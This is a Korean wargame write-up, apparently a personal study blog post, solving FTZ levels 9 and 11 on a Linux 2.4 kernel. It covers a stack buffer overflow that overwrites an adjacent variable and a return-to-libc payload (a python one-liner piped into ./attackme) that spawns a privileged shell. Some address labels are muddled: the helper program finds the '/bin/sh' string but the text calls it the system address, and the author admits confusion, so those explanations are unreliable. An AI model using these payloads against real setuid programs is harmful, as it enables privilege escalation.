systemhacking/practice

ftz level9,11

qkqhxla1 2014. 12. 28. 13:16

커널버전2.4.20-8


1. tmp디렉터리에 동일한 프로그램을 짜봐서 스택 사이의 dummy크기 계산 (6)


2. gdb로 프로그램을 열어봐 처음 할당 크기 확인 (0x28)


3. 변수들의 위치와 스택에서의 할당 크기, dummy크기로 ret주소 추측


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main()
{
        char buf2[10];
        char buf[10];

        printf("It can be overflow : ");
        fgets(buf,40,stdin);
        printf("&buf=%#x, &buf2=%#x\n",buf,buf2);
        if ( strncmp(buf2,"go",2) == 0)
        {
                printf("Good Skill");
                setreuid(3010,3010);
                system("/bin/bash");
        }
}


10 

6 

10 

6 

4 

 buf[10]

dummy 

buf2[10] 

dummy 

SFP 

RET 


어떤 문자를 입력하게되면 왼쪽부터 오른쪽으로 들어감. buf2를 go로 덮어씌우려면


16개를 아무 문자로 채운 뒤 go입력



ftz level 11 RTL


잊지 않기 위해서 밑에 끄적거려놓음. http://blog.naver.com/shj1126zzang/220129272070


1. 아무 프로그램이나 작성해서 gdb로 디버깅후 system함수의 주소를 알아냄.


2.


#include <stdio.h>
#include <stdlib.h>

int main()
{
        long shell = 0x4203f2c0; //찾은 시스템 주소
        while(memcmp((void*)shell,"/bin/sh",8))
                shell++;
        printf("%#x\n",shell);
}



요런식으로 프로그래밍해서 system함수의 주소를 찾음


3. 스택 공간에 맞게 페이로드를 짬.


첫번째 0x4203f2c0은 아무 프로그램이나 짠 후에 gdb로 분석했을경우의 찾을수 없다는 system주소,


두번째 0x42127ea4는 위 프로그램을 돌렸을시 나타나는 system주소.


(python -c 'print "a"*268+"\xc0\xf2\x03\x42"+"aaaa"+"\xa4\x7e\x12\x42"'; cat) | ./attackme


사실 블로그 참고하고도 아직 잘 이해가 안간다..... 더 공부해야될듯

'systemhacking > practice' 카테고리의 다른 글

lob orge->troll  (0) 2015.01.15
lob darkelf->orge  (0) 2015.01.09
lob wolfman->darkelf  (0) 2015.01.05
lob goblin->orc  (0) 2015.01.04
lob gate->gremlin  (0) 2014.12.30